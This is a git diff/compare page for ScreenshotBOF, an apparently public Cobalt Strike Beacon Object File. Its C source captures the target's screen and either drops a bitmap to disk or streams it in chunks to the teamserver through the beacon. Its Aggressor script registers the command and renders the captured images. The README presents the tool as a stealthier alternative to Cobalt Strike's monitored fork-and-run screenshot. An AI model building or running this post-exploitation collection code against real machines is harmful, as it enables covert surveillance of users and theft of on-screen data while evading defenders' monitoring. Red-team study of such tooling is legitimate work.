Compare commits

..

No commits in common. "master" and "release" have entirely different histories.

25 changed files with 115 additions and 400 deletions

View File

@ -1,48 +1,40 @@
# ScreenshotBOF
An alternative screenshot capability for Cobalt Strike that uses WinAPI and does not perform a fork & run. Screenshot downloaded in memory.
An alternative screenshot capability for Cobalt Strike that uses WinAPI and does not perform a fork & run. Screenshot saved to disk as a file.
## Self Compilation
1. git clone the repo
2. open the solution in Visual Studio
3. Build project BOF
## Save methods:
0. drop file to disk
1. download file over beacon (Cobalt Strike only)
## Usage
1. import the screenshotBOF.cna script into Cobalt Strike
2. use the command screenshot_bof {local filename} {save method 0/1}
2. use the command screenshot_bof
3. Download the screenshot from the target
```
beacon> screenshot_bof sad.bmp 1
beacon> screenshot_bof
[*] Running screenshot BOF by (@codex_tf2)
[+] host called home, sent: 5267 bytes
[+] host called home, sent: 3411 bytes
[+] received output:
[*] Screen saved to bitmap
[*] Tasked beacon to printscreen and save to disk
[+] received output:
[*] Downloading bitmap over beacon with filename sad.bmp
[*] started download of sad.bmp
[+] PrintScreen saved to bitmap...
[+] received output:
[+] Printscreen bitmap saved to screenshot.bmp
beacon> download screenshot.bmp
[*] Tasked beacon to download screenshot.bmp
[+] host called home, sent: 22 bytes
[*] started download of C:\screenshot.bmp (12441668 bytes)
[*] download of screenshot.bmp is complete
```
3. if downloaded over beacon, BMP can be viewed in Cobalt Strike by right clicking the download and clicking "Render BMP" (credit @BinaryFaultline)
![image](https://user-images.githubusercontent.com/29991665/199232459-0601e5d8-d534-4f05-bde4-c8acf3bd3c12.png)
![image](https://user-images.githubusercontent.com/29991665/199233465-8159cec4-90a4-4d82-beff-b012753b3559.png)
## Notes
- no evasion is performed, which should be fine since the WinAPIs used are not malicious
- in memory downloading of screenshots is planned to be added
- the filename can be changed in the source code.
## Why did I make this?
Cobalt Strike uses a technique known as fork & run for many of its post-ex capabilities, including the screenshot command. While this behaviour provides stability, it is now well known and heavily monitored for. This BOF is meant to provide a more OPSEC safe version of the screenshot capability.
## Credits
- Made using https://github.com/securifybv/Visual-Studio-BOF-template
- Save BMP to file from https://stackoverflow.com/a/60667564
- in memory download from https://github.com/anthemtotheego/CredBandit
- @BinaryFaultline for BMP rendering in aggressorscript, and screenshot callback branch
- Made using https://github.com/securifybv/Visual-Studio-BOF-template

View File

@ -1,152 +1,10 @@
#include <windows.h>
#include <stdio.h>
#include "bofdefs.h"
#pragma comment(lib, "User32.lib")
#pragma comment(lib, "Gdi32.lib")
char downloadfilename[] = "screenshot.bmp";
//i love chatgpt
size_t my_strlen(const char* str) {
size_t len = 0;
while (str[len] != '\0') {
len++;
}
return len;
}
/*Download File*/
void downloadFile(char* fileName, int downloadFileNameLength, char* returnData, int fileSize) {
//Intializes random number generator to create fileId
time_t t;
MSVCRT$srand((unsigned)MSVCRT$time(&t));
int fileId = MSVCRT$rand();
//8 bytes for fileId and fileSize
int messageLength = downloadFileNameLength + 8;
char* packedData = (char*)MSVCRT$malloc(messageLength);
//pack on fileId as 4-byte int first
packedData[0] = (fileId >> 24) & 0xFF;
packedData[1] = (fileId >> 16) & 0xFF;
packedData[2] = (fileId >> 8) & 0xFF;
packedData[3] = fileId & 0xFF;
//pack on fileSize as 4-byte int second
packedData[4] = (fileSize >> 24) & 0xFF;
packedData[5] = (fileSize >> 16) & 0xFF;
packedData[6] = (fileSize >> 8) & 0xFF;
packedData[7] = fileSize & 0xFF;
int packedIndex = 8;
//pack on the file name last
for (int i = 0; i < downloadFileNameLength; i++) {
packedData[packedIndex] = fileName[i];
packedIndex++;
}
BeaconOutput(CALLBACK_FILE, packedData, messageLength);
if (fileSize > (1024 * 900)) {
//Lets see how many times this constant goes into our file size, then add one (because if it doesn't go in at all, we still have one chunk)
int numOfChunks = (fileSize / (1024 * 900)) + 1;
int index = 0;
int chunkSize = 1024 * 900;
while (index < fileSize) {
if (fileSize - index > chunkSize) {//We have plenty of room, grab the chunk and move on
/*First 4 are the fileId
then account for length of file
then a byte for the good-measure null byte to be included
then lastly is the 4-byte int of the fileSize*/
int chunkLength = 4 + chunkSize;
char* packedChunk = (char*)MSVCRT$malloc(chunkLength);
//pack on fileId as 4-byte int first
packedChunk[0] = (fileId >> 24) & 0xFF;
packedChunk[1] = (fileId >> 16) & 0xFF;
packedChunk[2] = (fileId >> 8) & 0xFF;
packedChunk[3] = fileId & 0xFF;
int chunkIndex = 4;
//pack on the file name last
for (int i = index; i < index + chunkSize; i++) {
packedChunk[chunkIndex] = returnData[i];
chunkIndex++;
}
BeaconOutput(CALLBACK_FILE_WRITE, packedChunk, chunkLength);
}
else {//This chunk is smaller than the chunkSize, so we have to be careful with our measurements
int lastChunkLength = fileSize - index + 4;
char* lastChunk = (char*)MSVCRT$malloc(lastChunkLength);
//pack on fileId as 4-byte int first
lastChunk[0] = (fileId >> 24) & 0xFF;
lastChunk[1] = (fileId >> 16) & 0xFF;
lastChunk[2] = (fileId >> 8) & 0xFF;
lastChunk[3] = fileId & 0xFF;
int lastChunkIndex = 4;
//pack on the file name last
for (int i = index; i < fileSize; i++) {
lastChunk[lastChunkIndex] = returnData[i];
lastChunkIndex++;
}
BeaconOutput(CALLBACK_FILE_WRITE, lastChunk, lastChunkLength);
}
index = index + chunkSize;
}
}
else {
/*first 4 are the fileId
then account for length of file
then a byte for the good-measure null byte to be included
then lastly is the 4-byte int of the fileSize*/
int chunkLength = 4 + fileSize;
char* packedChunk = (char*)MSVCRT$malloc(chunkLength);
//pack on fileId as 4-byte int first
packedChunk[0] = (fileId >> 24) & 0xFF;
packedChunk[1] = (fileId >> 16) & 0xFF;
packedChunk[2] = (fileId >> 8) & 0xFF;
packedChunk[3] = fileId & 0xFF;
int chunkIndex = 4;
//pack on the file name last
for (int i = 0; i < fileSize; i++) {
packedChunk[chunkIndex] = returnData[i];
chunkIndex++;
}
BeaconOutput(CALLBACK_FILE_WRITE, packedChunk, chunkLength);
}
//We need to tell the teamserver that we are done writing to this fileId
char packedClose[4];
//pack on fileId as 4-byte int first
packedClose[0] = (fileId >> 24) & 0xFF;
packedClose[1] = (fileId >> 16) & 0xFF;
packedClose[2] = (fileId >> 8) & 0xFF;
packedClose[3] = fileId & 0xFF;
BeaconOutput(CALLBACK_FILE_CLOSE, packedClose, 4);
return;
}
#pragma region error_handling
#define print_error(msg, hr) _print_error(__FUNCTION__, __LINE__, msg, hr)
@ -162,7 +20,7 @@ BOOL _print_error(char* func, int line, char* msg, HRESULT hr) {
#pragma endregion
BOOL SaveHBITMAPToFile(HBITMAP hBitmap, LPCTSTR lpszFileName, int savemethod)
BOOL SaveHBITMAPToFile(HBITMAP hBitmap, LPCTSTR lpszFileName)
{
HDC hDC;
int iBits;
@ -221,10 +79,11 @@ BOOL SaveHBITMAPToFile(HBITMAP hBitmap, LPCTSTR lpszFileName, int savemethod)
ReleaseDC(NULL, hDC);
}
//fh = CreateFile(lpszFileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL | FILE_FLAG_SEQUENTIAL_SCAN, NULL);
fh = CreateFile(lpszFileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_SEQUENTIAL_SCAN, NULL);
//if (fh == INVALID_HANDLE_VALUE)
// return FALSE;
if (fh == INVALID_HANDLE_VALUE)
return FALSE;
bmfHdr.bfType = 0x4D42; // "BM"
dwDIBSize = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER) + dwPaletteSize + dwBmBitsSize;
@ -232,46 +91,19 @@ BOOL SaveHBITMAPToFile(HBITMAP hBitmap, LPCTSTR lpszFileName, int savemethod)
bmfHdr.bfReserved1 = 0;
bmfHdr.bfReserved2 = 0;
bmfHdr.bfOffBits = (DWORD)sizeof(BITMAPFILEHEADER) + (DWORD)sizeof(BITMAPINFOHEADER) + dwPaletteSize;
void* bmpdata = malloc(sizeof(BITMAPFILEHEADER) + dwDIBSize);
memcpy(bmpdata, &bmfHdr, sizeof(BITMAPFILEHEADER));
memcpy(((char*)bmpdata) + sizeof(BITMAPFILEHEADER), lpbi, dwDIBSize);
if (savemethod == 0) {
BeaconPrintf(0x0, "[*] Saving bitmap to disk with filename %s", lpszFileName);
fh = CreateFileA(lpszFileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_SEQUENTIAL_SCAN, NULL);
WriteFile(fh, (LPSTR)&bmfHdr, sizeof(BITMAPFILEHEADER), &dwWritten, NULL);
if (fh == INVALID_HANDLE_VALUE)
return FALSE;
WriteFile(fh, (LPSTR)bmpdata, sizeof(BITMAPFILEHEADER)+ dwDIBSize, &dwWritten, NULL);
CloseHandle(fh);
}
else{
BeaconPrintf(0x0, "[*] Downloading bitmap over beacon with filename %s", lpszFileName);
downloadFile((char*)lpszFileName, my_strlen(lpszFileName), (char*)bmpdata, (int)(sizeof(BITMAPFILEHEADER) + dwDIBSize));
}
/* clean up */
WriteFile(fh, (LPSTR)lpbi, dwDIBSize, &dwWritten, NULL);
GlobalUnlock(hDib);
GlobalFree(hDib);
//CloseHandle(fh);
CloseHandle(fh);
return TRUE;
}
#ifdef BOF
void go(char* buff, int len) {
datap parser;
char * downloadfilename;
BeaconDataParse(&parser, buff, len);
//what should the file be named?
downloadfilename = BeaconDataExtract(&parser, NULL);
//how should it be saved?
//0 - drop to disk
//1 - download as file in cobaltstrike
//2 - NOT IMPLEMENTED YET - planned to be screenshot callback, refer to branch.
int savemethod = BeaconDataInt(&parser);
BeaconPrintf(0x0, "[*] Tasked beacon to printscreen and save to disk");
int x1, y1, x2, y2, w, h;
// get screen dimensions
x1 = GetSystemMetrics(SM_XVIRTUALSCREEN);
@ -290,18 +122,18 @@ void go(char* buff, int len) {
//I was going to pull from the clipboard but then realized it
//was more trouble than it was worth, so I just saved it to a file. ~ CodeX
/*
// save bitmap to clipboard
OpenClipboard(NULL);
EmptyClipboard();
SetClipboardData(CF_BITMAP, hBitmap);
CloseClipboard();
*/
BeaconPrintf(0x0, "[*] Screen saved to bitmap");
LPCSTR filename = (LPCSTR)downloadfilename;
SaveHBITMAPToFile(hBitmap, (LPCTSTR)filename,savemethod);
BeaconPrintf(0x0, "[+] PrintScreen saved to bitmap...");
LPCSTR filename = "screenshot.bmp";
SaveHBITMAPToFile(hBitmap, (LPCTSTR)filename);
//BeaconPrintf(0x0, "[+] Printscreen bitmap saved to %s",downloadfilename);
BeaconPrintf(0x0, "[+] Printscreen bitmap saved to screenshot.bmp");
// clean up
SelectObject(hDC, old_obj);
DeleteDC(hDC);
@ -316,4 +148,4 @@ void main(int argc, char* argv[]) {
}
#endif
#endif

View File

@ -44,9 +44,6 @@ DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value);
#define CALLBACK_OUTPUT_OEM 0x1e
#define CALLBACK_ERROR 0x0d
#define CALLBACK_OUTPUT_UTF8 0x20
#define CALLBACK_FILE 0x02
#define CALLBACK_FILE_WRITE 0x08
#define CALLBACK_FILE_CLOSE 0x09
DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...);
DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len);

View File

@ -163,7 +163,6 @@ DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SI
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID);
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapReAlloc(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem, SIZE_T dwBytes);
DECLSPEC_IMPORT void* __cdecl MSVCRT$memcpy(LPVOID, LPVOID, size_t);
DECLSPEC_IMPORT void* __cdecl MSVCRT$malloc(size_t);
DECLSPEC_IMPORT void __cdecl MSVCRT$memset(void*, int, size_t);
@ -203,7 +202,6 @@ DECLSPEC_IMPORT void WINAPI MSVCRT$sprintf(char*, char[], ...);
DECLSPEC_IMPORT int __cdecl MSVCRT$_vsnprintf(LPSTR, size_t, LPCSTR, va_list);
DECLSPEC_IMPORT size_t __cdecl MSVCRT$wcslen(LPCWSTR);
DECLSPEC_IMPORT int __cdecl MSVCRT$strcmp(const char* _Str1, const char* _Str2);
DECLSPEC_IMPORT size_t __cdecl MSVCRT$strlen(const char* str);
DECLSPEC_IMPORT LPSTR WINAPI Kernel32$lstrcpyA(LPSTR lpString1, LPCSTR lpString2);
DECLSPEC_IMPORT LPSTR WINAPI Kernel32$lstrcatA(LPSTR lpString1, LPCSTR lpString2);
DECLSPEC_IMPORT LPSTR WINAPI Kernel32$lstrcpynA(LPSTR lpString1, LPCSTR lpString2, int iMaxLength);
@ -268,7 +266,6 @@ DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$GetUserNameW(LPWSTR lpBuffer, LPDWORD pcbBu
#define HeapAlloc KERNEL32$HeapAlloc
#define HeapReAlloc KERNEL32$HeapReAlloc
#define memcpy MSVCRT$memcpy
#define malloc MSVCRT$malloc
#define memset MSVCRT$memset

View File

@ -0,0 +1,23 @@
 Microsoft (R) C/C++ Optimizing Compiler Version 19.27.29111 for x64
Copyright (C) Microsoft Corporation. All rights reserved.
cl /c /D BOF /GS- /Fo"intermediary\BOF\x64\\" /TP /c /Fo"intermediary\BOF\x64\source" Source.cpp
cl : Command line warning D9025: overriding '/Fointermediary\BOF\x64\' with '/Fointermediary\BOF\x64\source'
Source.cpp
C:\Users\Ethan\Downloads\AVException\CodeX_Arsenal\public\screenshot_BOF\ScreenshotBOF\ScreenshotBOF\bofdefs.h(93): warning C4141: 'dllimport': used more than once
C:\Users\Ethan\Downloads\AVException\CodeX_Arsenal\public\screenshot_BOF\ScreenshotBOF\ScreenshotBOF\bofdefs.h(96): warning C4141: 'dllimport': used more than once
C:\Users\Ethan\Downloads\AVException\CodeX_Arsenal\public\screenshot_BOF\ScreenshotBOF\ScreenshotBOF\bofdefs.h(99): warning C4141: 'dllimport': used more than once
C:\Users\Ethan\Downloads\AVException\CodeX_Arsenal\public\screenshot_BOF\ScreenshotBOF\ScreenshotBOF\bofdefs.h(102): warning C4141: 'dllimport': used more than once
C:\Users\Ethan\Downloads\AVException\CodeX_Arsenal\public\screenshot_BOF\ScreenshotBOF\ScreenshotBOF\bofdefs.h(105): warning C4141: 'dllimport': used more than once
C:\Users\Ethan\Downloads\AVException\CodeX_Arsenal\public\screenshot_BOF\ScreenshotBOF\ScreenshotBOF\bofdefs.h(114): warning C4141: 'dllimport': used more than once
C:\Users\Ethan\Downloads\AVException\CodeX_Arsenal\public\screenshot_BOF\ScreenshotBOF\ScreenshotBOF\bofdefs.h(117): warning C4141: 'dllimport': used more than once
C:\Users\Ethan\Downloads\AVException\CodeX_Arsenal\public\screenshot_BOF\ScreenshotBOF\ScreenshotBOF\bofdefs.h(120): warning C4141: 'dllimport': used more than once
C:\Users\Ethan\Downloads\AVException\CodeX_Arsenal\public\screenshot_BOF\ScreenshotBOF\ScreenshotBOF\bofdefs.h(246): warning C4005: 'ZeroMemory': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.18362.0\um\minwinbase.h(39): note: see previous definition of 'ZeroMemory'
C:\Users\Ethan\Downloads\AVException\CodeX_Arsenal\public\screenshot_BOF\ScreenshotBOF\ScreenshotBOF\intermediary\BOF\x64\source.obj
1 File(s) copied
enumerating sections...
found debug section.. zeroing it...
closing stream...
done!

View File

@ -0,0 +1,2 @@
PlatformToolSet=v142:VCToolArchitecture=Native32Bit:VCToolsVersion=14.27.29110:TargetPlatformVersion=10.0.18362.0:
BOF|x64|C:\Users\Ethan\Downloads\AVException\CodeX_Arsenal\public\screenshot_BOF\ScreenshotBOF\|

View File

@ -0,0 +1,5 @@
c:\users\ethan\downloads\avexception\codex_arsenal\public\screenshot_bof\screenshotbof\screenshotbof\intermediary\bof\x64\source.obj
c:\users\ethan\downloads\avexception\codex_arsenal\public\screenshot_bof\screenshotbof\bin\bof\screenshotbof.x64.obj
c:\users\ethan\downloads\avexception\codex_arsenal\public\screenshot_bof\screenshotbof\screenshotbof\intermediary\bof\x64\screenshotbof.tlog\cl.command.1.tlog
c:\users\ethan\downloads\avexception\codex_arsenal\public\screenshot_bof\screenshotbof\screenshotbof\intermediary\bof\x64\screenshotbof.tlog\cl.read.1.tlog
c:\users\ethan\downloads\avexception\codex_arsenal\public\screenshot_bof\screenshotbof\screenshotbof\intermediary\bof\x64\screenshotbof.tlog\cl.write.1.tlog

View File

@ -0,0 +1,7 @@
<?xml version="1.0" encoding="utf-8"?>
<Project>
<ProjectOutputs>C:\Users\Ethan\Downloads\AVException\CodeX_Arsenal\public\screenshot_BOF\ScreenshotBOF\bin\BOF\ScreenshotBOFx64</ProjectOutputs>
<ContentFiles></ContentFiles>
<SatelliteDlls></SatelliteDlls>
<NonRecipeFileRefs></NonRecipeFileRefs>
</Project>

Binary file not shown.

View File

@ -0,0 +1,23 @@
 Microsoft (R) C/C++ Optimizing Compiler Version 19.27.29111 for x86
Copyright (C) Microsoft Corporation. All rights reserved.
cl /c /Oy- /D BOF /GS- /Fo"intermediary\BOF\x86\\" /TP /analyze- /c /Fo"intermediary\BOF\x86\source" Source.cpp
cl : Command line warning D9025: overriding '/Fointermediary\BOF\x86\' with '/Fointermediary\BOF\x86\source'
Source.cpp
C:\Users\Ethan\Downloads\AVException\CodeX_Arsenal\public\screenshot_BOF\ScreenshotBOF\ScreenshotBOF\bofdefs.h(93): warning C4141: 'dllimport': used more than once
C:\Users\Ethan\Downloads\AVException\CodeX_Arsenal\public\screenshot_BOF\ScreenshotBOF\ScreenshotBOF\bofdefs.h(96): warning C4141: 'dllimport': used more than once
C:\Users\Ethan\Downloads\AVException\CodeX_Arsenal\public\screenshot_BOF\ScreenshotBOF\ScreenshotBOF\bofdefs.h(99): warning C4141: 'dllimport': used more than once
C:\Users\Ethan\Downloads\AVException\CodeX_Arsenal\public\screenshot_BOF\ScreenshotBOF\ScreenshotBOF\bofdefs.h(102): warning C4141: 'dllimport': used more than once
C:\Users\Ethan\Downloads\AVException\CodeX_Arsenal\public\screenshot_BOF\ScreenshotBOF\ScreenshotBOF\bofdefs.h(105): warning C4141: 'dllimport': used more than once
C:\Users\Ethan\Downloads\AVException\CodeX_Arsenal\public\screenshot_BOF\ScreenshotBOF\ScreenshotBOF\bofdefs.h(114): warning C4141: 'dllimport': used more than once
C:\Users\Ethan\Downloads\AVException\CodeX_Arsenal\public\screenshot_BOF\ScreenshotBOF\ScreenshotBOF\bofdefs.h(117): warning C4141: 'dllimport': used more than once
C:\Users\Ethan\Downloads\AVException\CodeX_Arsenal\public\screenshot_BOF\ScreenshotBOF\ScreenshotBOF\bofdefs.h(120): warning C4141: 'dllimport': used more than once
C:\Users\Ethan\Downloads\AVException\CodeX_Arsenal\public\screenshot_BOF\ScreenshotBOF\ScreenshotBOF\bofdefs.h(246): warning C4005: 'ZeroMemory': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.18362.0\um\minwinbase.h(39): note: see previous definition of 'ZeroMemory'
C:\Users\Ethan\Downloads\AVException\CodeX_Arsenal\public\screenshot_BOF\ScreenshotBOF\ScreenshotBOF\intermediary\BOF\x86\source.obj
1 File(s) copied
enumerating sections...
found debug section.. zeroing it...
closing stream...
done!

View File

@ -0,0 +1,2 @@
PlatformToolSet=v142:VCToolArchitecture=Native32Bit:VCToolsVersion=14.27.29110:TargetPlatformVersion=10.0.18362.0:
BOF|Win32|C:\Users\Ethan\Downloads\AVException\CodeX_Arsenal\public\screenshot_BOF\ScreenshotBOF\|

View File

@ -0,0 +1,5 @@
c:\users\ethan\downloads\avexception\codex_arsenal\public\screenshot_bof\screenshotbof\screenshotbof\intermediary\bof\x86\source.obj
c:\users\ethan\downloads\avexception\codex_arsenal\public\screenshot_bof\screenshotbof\bin\bof\screenshotbof.x86.obj
c:\users\ethan\downloads\avexception\codex_arsenal\public\screenshot_bof\screenshotbof\screenshotbof\intermediary\bof\x86\screenshotbof.tlog\cl.command.1.tlog
c:\users\ethan\downloads\avexception\codex_arsenal\public\screenshot_bof\screenshotbof\screenshotbof\intermediary\bof\x86\screenshotbof.tlog\cl.read.1.tlog
c:\users\ethan\downloads\avexception\codex_arsenal\public\screenshot_bof\screenshotbof\screenshotbof\intermediary\bof\x86\screenshotbof.tlog\cl.write.1.tlog

View File

@ -0,0 +1,7 @@
<?xml version="1.0" encoding="utf-8"?>
<Project>
<ProjectOutputs>C:\Users\Ethan\Downloads\AVException\CodeX_Arsenal\public\screenshot_BOF\ScreenshotBOF\bin\BOF\ScreenshotBOFx32</ProjectOutputs>
<ContentFiles></ContentFiles>
<SatelliteDlls></SatelliteDlls>
<NonRecipeFileRefs></NonRecipeFileRefs>
</Project>

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -1,198 +1,21 @@
import javax.imageio.ImageIO;
import java.awt.*;
import javax.swing.JLabel;
import javax.swing.ImageIcon;
import java.io.ByteArrayInputStream;
# This function takes in a screenshot and creates a JLabel to display the screenshot
sub display_image {
local('$screenshot $screenshot_bytes $bid $user $computer $client $MAX_IMAGE_WIDTH $MAX_IMAGE_HEIGHT $bias $image $width $height $icon $scaledIcon $component $tab_name');
$screenshot = $1;
$screenshot_bytes = $screenshot['data'];
$bid = $screenshot['bid'];
$user = $screenshot['user'];
$computer = beacon_info($bid, 'computer');
$client = getAggressorClient();
$MAX_IMAGE_WIDTH = [[[$client getTabManager] getTabbedPane] getWidth];
$MAX_IMAGE_HEIGHT = [[[$client getTabManager] getTabbedPane] getHeight];
$bais = [new ByteArrayInputStream: $screenshot_bytes];
$image = [ImageIO read: $bais];
$width = [$image getWidth];
$height = [$image getHeight];
$icon = [new ImageIcon: $image];
if ($width > $MAX_IMAGE_WIDTH) {
$width = $MAX_IMAGE_WIDTH;
}
if ($height > $MAX_IMAGE_HEIGHT) {
$height = $MAX_IMAGE_HEIGHT;
}
$scaledIcon = [new ImageIcon: [$image getScaledInstance: $width, $height, 4]];
$component = [new JLabel: $scaledIcon];
$tab_name = "ScreenshotBOF - $user\@$computer";
addTab($tab_name, $component, "...");
}
# This function takes in a screenshot and creates a JLabel to display the screenshot
sub display_downloaded {
local('$screenshot $screenshot_bytes $bid $user $computer $client $MAX_IMAGE_WIDTH $MAX_IMAGE_HEIGHT $bias $image $width $height $icon $scaledIcon $component $tab_name');
$screenshot_bytes = $1;
$file_name = $2;
$client = getAggressorClient();
$MAX_IMAGE_WIDTH = [[[$client getTabManager] getTabbedPane] getWidth];
$MAX_IMAGE_HEIGHT = [[[$client getTabManager] getTabbedPane] getHeight];
$bais = [new ByteArrayInputStream: $screenshot_bytes];
$image = [ImageIO read: $bais];
$width = [$image getWidth];
$height = [$image getHeight];
$icon = [new ImageIcon: $image];
if ($width > $MAX_IMAGE_WIDTH) {
$width = $MAX_IMAGE_WIDTH;
}
if ($height > $MAX_IMAGE_HEIGHT) {
$height = $MAX_IMAGE_HEIGHT;
}
$scaledIcon = [new ImageIcon: [$image getScaledInstance: $width, $height, 4]];
$component = [new JLabel: $scaledIcon];
$tab_name = "ScreenshotBOF - $file_name";
addTab($tab_name, $component, "...");
}
# Checks the screenshot when it comes in to see if it is a BMP, then if so, renders it in a new tab
on screenshots {
local('$screenshot $data');
$screenshot = $1;
$data = $screenshot['data'];
# Check the magic header of the data to see if it's a BMP
if (charAt($data, 0) eq "B" && charAt($data, 1) eq "M") {
display_image($screenshot);
}
}
popup_clear("downloads");
popup downloads {
# do nothing if nothing is selected
if (size($1) == 0) {
return;
}
item "Interact" {
openOrActivate($1[0]["bid"]);
}
menu "&Color" {
local('$ids');
$ids = map({ return $1["id"]; }, $1);
insert_component(colorPanel("accents", $ids));
}
item "Render &BMP" {
local('$download $lpath $name $count');
foreach $count => $download ($1) {
($lpath, $name) = values($download, @("lpath", "name"));
sync_download($lpath, script_resource("file $+ .$count"), lambda({
$handle = openf($1);
$data = readb($handle, -1);
closef($handle);
#println(charAt($data, 0));
#println(charAt($data, 1));
if (charAt($data, 0) eq "B" && charAt($data, 1) eq "M") {
display_downloaded($data, $1);
} else {
show_error("File is not a Bitmap image");
}
deleteFile($1);
}, \$name));
}
}
}
popup_clear("screenshots");
popup screenshots {
item "&Interact" {
openOrActivate($1["bid"]);
}
menu "&Color" {
insert_component(colorPanel("accents", $1["id"]));
}
item "&Save" {
prompt_file_save($1["id"] . ".jpg", lambda({
local('$handle');
$handle = openf("> $+ $1");
writeb($handle, $data);
closef($handle);
show_message("Screenshot saved.");
}, $data => $1["object"]["data"]));
}
separator();
item "&Remove" {
redactobject($1["id"]);
}
item "Render &BMP" {
$data = $1["object"]['data'];
# Check the magic header of the data to see if it's a BMP
if (charAt($data, 0) eq "B" && charAt($data, 1) eq "M") {
display_image($1["object"]);
} else {
show_error("Image is not a Bitmap. It should render in Screenshots tab.");
}
}
}
#Register command
beacon_command_register(
"screenshot_bof",
"Alternative screenshot capability that does not do fork n run",
"Use: screenshot_bof [filename] [save method]\nSave methods:\n\t0: drop file to disk\n\t1: download over beacon\n\nTake a screenshot inline using a BOF. Screenshot is saved as BMP on disk or downloaded over beacon."
"Synopsis: screenshot_bof"
);
alias screenshot_bof {
local('$bid $barch $handle $data $args $target_pid');
$bid = $1;
local('$barch $handle $data $args $target_pid');
println(@_);
# figure out the arch of this session
$barch = barch($bid);
if (size(@_) != 3)
{
berror($1, "Syntax: screenshot_bof [filename] [save method 0/1] e.g. screenshot_bof file.bmp 1");
return;
}
$barch = barch($1);
# read in the right BOF file
$handle = openf(script_resource("ScreenshotBOF. $+ $barch $+ .obj"));
$handle = openf(script_resource("screenshotBOF. $+ $barch $+ .obj"));
$data = readb($handle, -1);
closef($handle);
# FEATURE PUT ON HOLD DUE TO STABILITY
# figure out if the profile chooses to chunk the post or not (getOnlyProfile)
# $profile = data_query("metadata")["c2profile"];
# $getOnlyProfile = [$profile shouldChunkPosts];
# println($getOnlyProfile);
$args = bof_pack($bid, "zi", $2, $3);
# announce what we're doing
btask($bid, "Running screenshot BOF by (@codex_tf2)", "T1113");
btask($1, "Running screenshot BOF by (@codex_tf2)");
# execute it.
beacon_inline_execute($bid, $data, "go", $args);
}
beacon_inline_execute($1, $data, "go", $args);
}